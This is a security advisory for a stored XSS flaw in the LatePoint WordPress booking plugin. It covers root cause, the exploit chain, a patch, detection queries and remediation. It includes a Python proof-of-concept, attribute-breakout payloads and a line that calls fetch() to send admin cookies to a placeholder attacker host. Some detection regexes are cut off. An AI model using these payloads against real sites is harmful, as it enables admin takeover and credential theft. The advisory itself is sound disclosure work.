CVE-2026-7332: Unauthenticated Stored XSS in LatePoint via booking_form_page_url
LatePoint ≤5.5.0 writes unsanitized booking_form_page_url into the WordPress database via an order intent hook that fires before Stripe validation, enabling unauthenticated stored XSS.
Millions of small businesses use WordPress plugins to let customers book appointments online—hair salons, dentists, therapists, you name it. One popular plugin called LatePoint has a serious security flaw that lets hackers hide malicious code right inside those booking pages.
Here's how it works: imagine a booking form is like a guest book at a restaurant. This vulnerability lets someone write something invisible in the guest book that gives them a master key to the restaurant. When customers come in later and sign the guest book, that hidden code activates and steals their wallet.
The technical problem is that the plugin doesn't properly check or clean the information people feed into it. A hacker can sneak in hidden JavaScript instructions that sit dormant in the website's database, waiting. When real customers visit to book an appointment, the malicious code runs on their computer without them knowing.
Who's at risk? Anyone running this plugin on their WordPress site, and more importantly, their customers. An attacker could steal login credentials, hijack accounts, or redirect people to fake websites that look real. A dentist's patient might think they're booking online but actually give away their credit card details to a criminal.
The good news is there's no evidence hackers are actively exploiting this yet, but it's only a matter of time.
What you should do: First, update the plugin immediately—the developers have released a patched version. Second, if you run a site with this plugin, warn your users to change their passwords. Third, consider using security plugins that scan for malicious code and monitor for unusual activity on your site.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7332 is a stored cross-site scripting vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, affecting all versions through 5.5.0. An unauthenticated attacker can inject arbitrary JavaScript into the booking_form_page_url parameter during an order intent creation request. The payload is persisted to the database through the latepoint_order_intent_created action hook and reflected back to any administrator or privileged user who views the booking activity log or processes the order — no Stripe configuration required.
The vulnerable surface is the AJAX handler responsible for creating order intents. LatePoint exposes this endpoint publicly to support unauthenticated booking flows. The handler calls OsOrderIntentHelper::create_from_post_data(), which constructs an OsOrderIntentModel and persists it. The booking_form_page_url field is accepted from raw POST input, stored verbatim, and later rendered inside admin-side activity log views and booking management screens without escaping.
Affected file paths (relative to plugin root):
lib/helpers/order_intent_helper.php — intent construction and hook dispatch
lib/models/order_intent_model.php — model definition and DB persistence
lib/views/admin/activity_log/_entry.php — unescaped render site
Root Cause Analysis
The core issue is a two-part failure: missing sanitization on input, and missing escaping on output. The latepoint_order_intent_created hook fires unconditionally after the model is saved — Stripe account validation happens in a subsequent step that can abort payment processing but cannot roll back the already-committed database write.
// lib/helpers/order_intent_helper.php (pseudocode reconstruction)
function OsOrderIntentHelper__create_from_post_data(array $post_data) {
$intent = new OsOrderIntentModel();
// Fields populated directly from POST without sanitization
$intent->booking_form_page_url = $post_data['booking_form_page_url']; // BUG: no sanitize_text_field(), no esc_url()
$intent->customer_id = (int)$post_data['customer_id'];
$intent->agent_id = (int)$post_data['agent_id'];
$intent->service_id = (int)$post_data['service_id'];
$intent->token = OsUtilHelper::generate_token(32);
// Model save writes all fields to wp_latepoint_order_intents
if ($intent->save()) {
// Hook fires BEFORE Stripe Connect account ID is validated
// BUG: database write already committed; hook cannot be unwound
do_action('latepoint_order_intent_created', $intent);
// Stripe validation happens here — too late to prevent persistence
if (empty(get_option('latepoint_stripe_connect_account_id'))) {
return OsResponseHelper::json_error('Stripe not configured');
// ^^ returns error to caller but $intent is already in the DB
}
}
return $intent;
}
// lib/views/admin/activity_log/_entry.php (pseudocode reconstruction)
function render_activity_log_entry(OsOrderIntentModel $intent) {
// BUG: booking_form_page_url echoed without esc_url() or esc_html()
echo ''
. __('View Booking Page', 'latepoint')
. '';
// A payload of:
// javascript:/**/alert(1)
// or:
// https://example.com" onmouseover="alert(document.cookie)
// executes in the administrator's browser context when the log is viewed.
}
Root cause:booking_form_page_url is written to the database via OsOrderIntentHelper::create_from_post_data() without sanitization before the latepoint_order_intent_created hook fires, and later rendered in admin views without esc_url() or esc_html() escaping.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker sends unauthenticated POST to wp-admin/admin-ajax.php
action=latepoint_create_order_intent
booking_form_page_url=https://evil.com" onmouseover="fetch('https://attacker.tld/?c='+document.cookie)
(no authentication cookie required; nonce check absent or publicly seeded)
2. OsOrderIntentHelper::create_from_post_data() runs:
- Constructs OsOrderIntentModel with raw payload in booking_form_page_url
- Calls $intent->save() → INSERT into wp_latepoint_order_intents
3. do_action('latepoint_order_intent_created', $intent) fires:
- Activity log entry written to wp_latepoint_activity_logs referencing intent
- Any registered hook callbacks execute with the poisoned model
4. Stripe connect account ID check runs:
- Returns JSON error if Stripe not configured
- DB row NOT rolled back — payload is permanently stored
5. Administrator opens WP Admin → LatePoint → Activity Log (or Bookings view)
- _entry.php renders the poisoned anchor without escaping
- Browser executes injected event handler in admin session context
6. XSS payload runs with administrator privileges:
- Session cookie exfiltration → full WP admin takeover
- wp_create_user AJAX calls → persistent backdoor account
- Plugin/theme file write via WP file editor → RCE
A minimal proof-of-concept request using curl:
import requests
TARGET = "https://target.example.com/wp-admin/admin-ajax.php"
# Payload breaks out of href attribute, injects event handler
# Executes in admin context when activity log entry is rendered
PAYLOAD = 'https://legit.example.com" onmouseover="eval(atob(\'{b64_payload}\')) '
data = {
"action": "latepoint_create_order_intent",
"booking_form_page_url": PAYLOAD,
"customer_first_name": "Test",
"customer_last_name": "User",
"customer_email": "test@example.com",
"service_id": "1",
"agent_id": "1",
}
r = requests.post(TARGET, data=data)
# Expect {"status":"error","message":"Stripe not configured"} OR success
# Either way: payload is committed to the database
print(r.status_code, r.text[:200])
Memory Layout
This is not a memory corruption vulnerability — the bug operates entirely at the application data layer. The relevant "layout" is the database schema and the data flow between tables.
wp_latepoint_order_intents table — relevant columns:
+----+-------+------------------------------------------+--------+--------+
| id | token | booking_form_page_url | status | ... |
+----+-------+------------------------------------------+--------+--------+
| 47 | a3f9… | https://evil.com" onmouseover="fetch(…) | open | ... |
+----+-------+------------------------------------------+--------+--------+
^
STORED PAYLOAD — written unconditionally before
Stripe validation; never sanitized or escaped
wp_latepoint_activity_logs table — references intent:
+----+-----------+----------+-----------------------------+
| id | object_id | obj_type | description |
+----+-----------+----------+-----------------------------+
| 91 | 47 | intent | Order intent created (open) |
+----+-----------+----------+-----------------------------+
^
Admin log view joins on object_id=47,
retrieves booking_form_page_url, renders raw HTML
DATA FLOW:
POST /wp-admin/admin-ajax.php
└─► create_from_post_data()
└─► OsOrderIntentModel->save() [WRITE: payload committed]
└─► do_action('latepoint_order_intent_created')
└─► activity log entry written
└─► [Stripe check fails — no rollback]
Admin browses /wp-admin/admin.php?page=latepoint-activity-log
└─► _entry.php echoes booking_form_page_url raw
└─► XSS executes in admin browser context
Patch Analysis
The correct fix requires changes at both the input and output layers. Input sanitization alone is insufficient — defense in depth demands output escaping at every render site.
// BEFORE (vulnerable) — order_intent_helper.php:
$intent->booking_form_page_url = $post_data['booking_form_page_url'];
// No sanitization. Raw attacker string enters the model.
// AFTER (patched):
$intent->booking_form_page_url = esc_url_raw(
sanitize_text_field($post_data['booking_form_page_url'] ?? '')
);
// esc_url_raw() strips javascript: schemes and invalid URL characters.
// sanitize_text_field() removes tags and extra whitespace.
// ADDITIONALLY — hook ordering fix in order_intent_helper.php:
// Move Stripe validation BEFORE the save() call and hook dispatch:
if (empty(get_option('latepoint_stripe_connect_account_id'))) {
return OsResponseHelper::json_error('Stripe not configured');
// Returns early — save() never called, hook never fires, no DB write.
}
if ($intent->save()) {
do_action('latepoint_order_intent_created', $intent);
}
Detection and Indicators
Query the database directly for poisoned rows:
# MySQL — detect suspicious booking_form_page_url values in stored intents
SELECT id, token, booking_form_page_url, created_at
FROM wp_latepoint_order_intents
WHERE booking_form_page_url REGEXP '(javascript:|on[a-z]+=|
WAF / access log signatures:
POST /wp-admin/admin-ajax.php
body contains: action=latepoint_create_order_intent
AND booking_form_page_url matches:
- javascript:
- onmouseover= onload= onfocus= onerror=
-
Remediation
Immediate: Update to LatePoint version 5.5.1 or later when the patched release is published. If immediate update is not possible, disable the LatePoint plugin or restrict the latepoint_create_order_intent AJAX action at the WAF layer.
Database cleanup — remove existing poisoned rows before applying the patch:
# Identify and quarantine suspicious intents before deletion
# Review manually — do not bulk-delete without inspection
DELETE FROM wp_latepoint_order_intents
WHERE booking_form_page_url REGEXP '(javascript:|on[a-z]+=|
Plugin development guidance: The latepoint_order_intent_created hook is a public API surface. Any plugin hooking into it receives a model that — prior to this patch — could carry attacker-controlled string fields. Third-party integrations that render booking_form_page_url or any other model field from this hook must apply esc_url() / esc_html() at their own render sites regardless of upstream fixes. Trust no field from an externally-triggered model as sanitized unless the plugin's changelog explicitly documents the sanitization commit.